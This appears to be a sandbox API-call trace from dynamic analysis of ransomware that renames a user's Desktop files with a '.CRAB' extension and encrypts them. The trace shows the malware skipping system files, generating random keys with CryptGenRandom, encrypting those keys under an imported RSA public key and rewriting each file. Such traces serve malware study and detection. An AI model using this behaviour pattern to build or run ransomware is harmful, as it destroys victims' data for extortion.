	[0126.069] WriteFile (in: hFile=0x3e0, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x3149f14, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x3149f14*=0x8, lpOverlapped=0x0) returned 1
	[0126.069] CloseHandle (hObject=0x3e0) returned 1
	[0126.069] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.070] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.070] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.070] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.070] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.071] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.071] FindNextFileW (in: hFindFile=0x3158b00, lpFindFileData=0x314a770 | out: lpFindFileData=0x314a770) returned 0
	[0126.071] FindClose (in: hFindFile=0x3158b00 | out: hFindFile=0x3158b00) returned 1
	[0126.071] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 1
	[0126.071] lstrcmpW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2=".") returned 1
	[0126.071] lstrcmpW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="..") returned 1
	[0126.071] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\", lpString2="vlxRa57T5f-jpQWmW.swf" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf"
	[0126.071] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.071] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf") returned 95
	[0126.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf") returned 95
	[0126.072] lstrlenW (lpString=".swf") returned 4
	[0126.072] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.072] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".swf ") returned 5
	[0126.072] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf") returned 95
	[0126.072] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf") returned 95
	[0126.072] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="desktop.ini") returned 1
	[0126.072] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="autorun.inf") returned 1
	[0126.072] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="ntuser.dat") returned 1
	[0126.072] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="iconcache.db") returned 1
	[0126.073] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="bootsect.bak") returned 1
	[0126.073] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="boot.ini") returned 1
	[0126.073] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="ntuser.dat.log") returned 1
	[0126.073] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="thumbs.db") returned 1
	[0126.073] lstrcmpiW (lpString1="vlxRa57T5f-jpQWmW.swf", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.073] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.073] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB") returned 100
	[0126.073] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\vlxra57t5f-jpqwmw.swf")) returned 0x20
	[0126.073] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf", dwFileAttributes=0x20) returned 1
	[0126.074] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\vlxra57t5f-jpqwmw.swf"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\vlxra57t5f-jpqwmw.swf.crab")) returned 1
	[0126.075] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.075] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB"
	[0126.075] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB.CRAB"
	[0126.075] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e408) returned 1
	[0126.075] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.076] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.076] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.076] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314a974 | out: pbBuffer=0x314a974) returned 1
	[0126.076] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.076] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.076] CryptAcquireContextW (in: phProv=0x314a838, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a838*=0xd6e7c0) returned 1
	[0126.077] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.077] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.077] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.077] CryptGenRandom (in: hProv=0xd6e7c0, dwLen=0x20, pbBuffer=0x314a950 | out: pbBuffer=0x314a950) returned 1
	[0126.078] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0126.078] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.078] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.078] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.078] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6e5a0) returned 1
	[0126.079] CryptImportKey (in: hProv=0xd6e5a0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158b00) returned 1
	[0126.079] CryptGetKeyParam (in: hKey=0x3158b00, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0126.079] CryptEncrypt (in: hKey=0x3158b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314a984*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314a984*=0x100) returned 1
	[0126.079] GetLastError () returned 0x0
	[0126.079] CryptReleaseContext (hProv=0xd6e5a0, dwFlags=0x0) returned 1
	[0126.079] CryptAcquireContextW (in: phProv=0x314a828, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314a828*=0xd6eb78) returned 1
	[0126.080] CryptImportKey (in: hProv=0xd6eb78, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314a824 | out: phKey=0x314a824*=0x3158ec0) returned 1
	[0126.080] CryptGetKeyParam (in: hKey=0x3158ec0, dwParam=0x8, pbData=0x314a814, pdwDataLen=0x314a81c, dwFlags=0x0 | out: pbData=0x314a814*=0x800, pdwDataLen=0x314a81c*=0x4) returned 1
	[0126.080] CryptEncrypt (in: hKey=0x3158ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314a988*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314a988*=0x100) returned 1
	[0126.080] GetLastError () returned 0x0
	[0126.080] CryptReleaseContext (hProv=0xd6eb78, dwFlags=0x0) returned 1
	[0126.080] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\iDnxkFCeYO\\vlxRa57T5f-jpQWmW.swf.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\idnxkfceyo\\vlxra57t5f-jpqwmw.swf.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f8
	[0126.081] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.081] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.081] ReadFile (in: hFile=0x3f8, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314a9cc, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314a9cc*=0xf274, lpOverlapped=0x0) returned 1
	[0126.157] VirtualAlloc (lpAddress=0x0, dwSize=0xf280, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.158] VirtualAlloc (lpAddress=0x0, dwSize=0xf280, flAllocationType=0x3000, flProtect=0x4) returned 0x2750000
	[0126.160] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.160] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0xffff0d8c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.160] WriteFile (in: hFile=0x3f8, lpBuffer=0x2750000*, nNumberOfBytesToWrite=0xf280, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2750000*, lpNumberOfBytesWritten=0x314a9bc*=0xf280, lpOverlapped=0x0) returned 1
	[0126.161] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.161] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.165] WriteFile (in: hFile=0x3f8, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0126.165] WriteFile (in: hFile=0x3f8, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314a9bc*=0x100, lpOverlapped=0x0) returned 1
	[0126.165] WriteFile (in: hFile=0x3f8, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314a9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314a9bc*=0x8, lpOverlapped=0x0) returned 1
	[0126.165] CloseHandle (hObject=0x3f8) returned 1
	[0126.165] VirtualFree (lpAddress=0x2e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.166] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.166] VirtualFree (lpAddress=0x2d0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.166] VirtualFree (lpAddress=0x180000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.168] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.168] VirtualFree (lpAddress=0x140000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.168] FindNextFileW (in: hFindFile=0x31588c0, lpFindFileData=0x314b218 | out: lpFindFileData=0x314b218) returned 0
	[0126.168] FindClose (in: hFindFile=0x31588c0 | out: hFindFile=0x31588c0) returned 1
	[0126.168] FindNextFileW (in: hFindFile=0x3158940, lpFindFileData=0x314bcc0 | out: lpFindFileData=0x314bcc0) returned 1
	[0126.168] lstrcmpW (lpString1="KOtSnn7.mkv", lpString2=".") returned 1
	[0126.168] lstrcmpW (lpString1="KOtSnn7.mkv", lpString2="..") returned 1
	[0126.169] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\", lpString2="KOtSnn7.mkv" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv"
	[0126.169] VirtualAlloc (lpAddress=0x0, dwSize=0x400, flAllocationType=0x3000, flProtect=0x40) returned 0x140000
	[0126.169] wsprintfW (in: param_1=0x140000, param_2="%s" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv") returned 74
	[0126.169] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv") returned 74
	[0126.169] lstrlenW (lpString=".mkv") returned 4
	[0126.169] VirtualAlloc (lpAddress=0x0, dwSize=0xc, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.169] wsprintfW (in: param_1=0x170000, param_2="%s " | out: param_1=".mkv ") returned 5
	[0126.169] VirtualFree (lpAddress=0x170000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.170] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv") returned 74
	[0126.170] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv") returned 74
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="desktop.ini") returned 1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="autorun.inf") returned 1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="ntuser.dat") returned -1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="iconcache.db") returned 1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="bootsect.bak") returned 1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="boot.ini") returned 1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="ntuser.dat.log") returned -1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="thumbs.db") returned -1
	[0126.170] lstrcmpiW (lpString1="KOtSnn7.mkv", lpString2="CRAB-DECRYPT.txt") returned 1
	[0126.170] VirtualAlloc (lpAddress=0x0, dwSize=0x201, flAllocationType=0x3000, flProtect=0x4) returned 0x170000
	[0126.170] wsprintfW (in: param_1=0x170000, param_2="%s.CRAB" | out: param_1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB") returned 79
	[0126.170] GetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\kotsnn7.mkv")) returned 0x20
	[0126.170] SetFileAttributesW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv", dwFileAttributes=0x20) returned 1
	[0126.171] MoveFileW (lpExistingFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\kotsnn7.mkv"), lpNewFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\kotsnn7.mkv.crab")) returned 1
	[0126.172] VirtualAlloc (lpAddress=0x0, dwSize=0x401, flAllocationType=0x3000, flProtect=0x40) returned 0x180000
	[0126.172] lstrcpyW (in: lpString1=0x180000, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB"
	[0126.172] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB", lpString2=".CRAB" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB.CRAB") returned="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB.CRAB"
	[0126.172] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e408) returned 1
	[0126.173] VirtualAlloc (lpAddress=0x0, dwSize=0x11, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.173] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.173] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.173] CryptGenRandom (in: hProv=0xd6e408, dwLen=0x10, pbBuffer=0x314b41c | out: pbBuffer=0x314b41c) returned 1
	[0126.173] CryptReleaseContext (hProv=0xd6e408, dwFlags=0x0) returned 1
	[0126.173] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.174] CryptAcquireContextW (in: phProv=0x314b2e0, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2e0*=0xd6e6b0) returned 1
	[0126.174] VirtualAlloc (lpAddress=0x0, dwSize=0x21, flAllocationType=0x3000, flProtect=0x40) returned 0x2c0000
	[0126.174] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x77990000
	[0126.175] GetProcAddress (hModule=0x77990000, lpProcName="CryptGenRandom") returned 0x779b0df0
	[0126.175] CryptGenRandom (in: hProv=0xd6e6b0, dwLen=0x20, pbBuffer=0x314b3f8 | out: pbBuffer=0x314b3f8) returned 1
	[0126.175] CryptReleaseContext (hProv=0xd6e6b0, dwFlags=0x0) returned 1
	[0126.175] VirtualFree (lpAddress=0x2c0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.175] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2c0000
	[0126.175] VirtualAlloc (lpAddress=0x0, dwSize=0x800, flAllocationType=0x3000, flProtect=0x4) returned 0x2d0000
	[0126.176] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e7c0) returned 1
	[0126.176] CryptImportKey (in: hProv=0xd6e7c0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x31588c0) returned 1
	[0126.176] CryptGetKeyParam (in: hKey=0x31588c0, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.176] CryptEncrypt (in: hKey=0x31588c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2c0000*, pdwDataLen=0x314b42c*=0xc8, dwBufLen=0x800 | out: pbData=0x2c0000*, pdwDataLen=0x314b42c*=0x100) returned 1
	[0126.176] GetLastError () returned 0x0
	[0126.177] CryptReleaseContext (hProv=0xd6e7c0, dwFlags=0x0) returned 1
	[0126.177] CryptAcquireContextW (in: phProv=0x314b2d0, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x314b2d0*=0xd6e9e0) returned 1
	[0126.177] CryptImportKey (in: hProv=0xd6e9e0, pbData=0xa0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x314b2cc | out: phKey=0x314b2cc*=0x318e5b8) returned 1
	[0126.177] CryptGetKeyParam (in: hKey=0x318e5b8, dwParam=0x8, pbData=0x314b2bc, pdwDataLen=0x314b2c4, dwFlags=0x0 | out: pbData=0x314b2bc*=0x800, pdwDataLen=0x314b2c4*=0x4) returned 1
	[0126.177] CryptEncrypt (in: hKey=0x318e5b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d0000*, pdwDataLen=0x314b430*=0xc8, dwBufLen=0x800 | out: pbData=0x2d0000*, pdwDataLen=0x314b430*=0x100) returned 1
	[0126.177] GetLastError () returned 0x0
	[0126.177] CryptReleaseContext (hProv=0xd6e9e0, dwFlags=0x0) returned 1
	[0126.178] CreateFileW (lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Desktop\\Y6DMc98RPkT\\FYvItKqurN\\lxPpLrs8f\\KOtSnn7.mkv.CRAB" (normalized: "c:\\users\\ciihmnxmn6ps\\desktop\\y6dmc98rpkt\\fyvitkqurn\\lxpplrs8f\\kotsnn7.mkv.crab"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3f4
	[0126.178] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x2e0000
	[0126.178] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x2f0000
	[0126.179] ReadFile (in: hFile=0x3f4, lpBuffer=0x2f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x314b474, lpOverlapped=0x0 | out: lpBuffer=0x2f0000*, lpNumberOfBytesRead=0x314b474*=0x18420, lpOverlapped=0x0) returned 1
	[0126.185] VirtualAlloc (lpAddress=0x0, dwSize=0x18420, flAllocationType=0x3000, flProtect=0x4) returned 0x2740000
	[0126.186] VirtualAlloc (lpAddress=0x0, dwSize=0x18420, flAllocationType=0x3000, flProtect=0x4) returned 0x3010000
	[0126.188] VirtualFree (lpAddress=0x2740000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.189] SetFilePointerEx (in: hFile=0x3f4, liDistanceToMove=0xfffe7be0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0126.189] WriteFile (in: hFile=0x3f4, lpBuffer=0x3010000*, nNumberOfBytesToWrite=0x18420, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x3010000*, lpNumberOfBytesWritten=0x314b464*=0x18420, lpOverlapped=0x0) returned 1
	[0126.189] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.190] VirtualFree (lpAddress=0x2f0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0126.193] WriteFile (in: hFile=0x3f4, lpBuffer=0x2c0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2c0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.194] WriteFile (in: hFile=0x3f4, lpBuffer=0x2d0000*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2d0000*, lpNumberOfBytesWritten=0x314b464*=0x100, lpOverlapped=0x0) returned 1
	[0126.194] WriteFile (in: hFile=0x3f4, lpBuffer=0x2e0000*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x314b464, lpOverlapped=0x0 | out: lpBuffer=0x2e0000*, lpNumberOfBytesWritten=0x314b464*=0x8, lpOverlapped=0x0) returned 1
	[0126.194] CloseHandle (hObject=0x3f4) returned 1
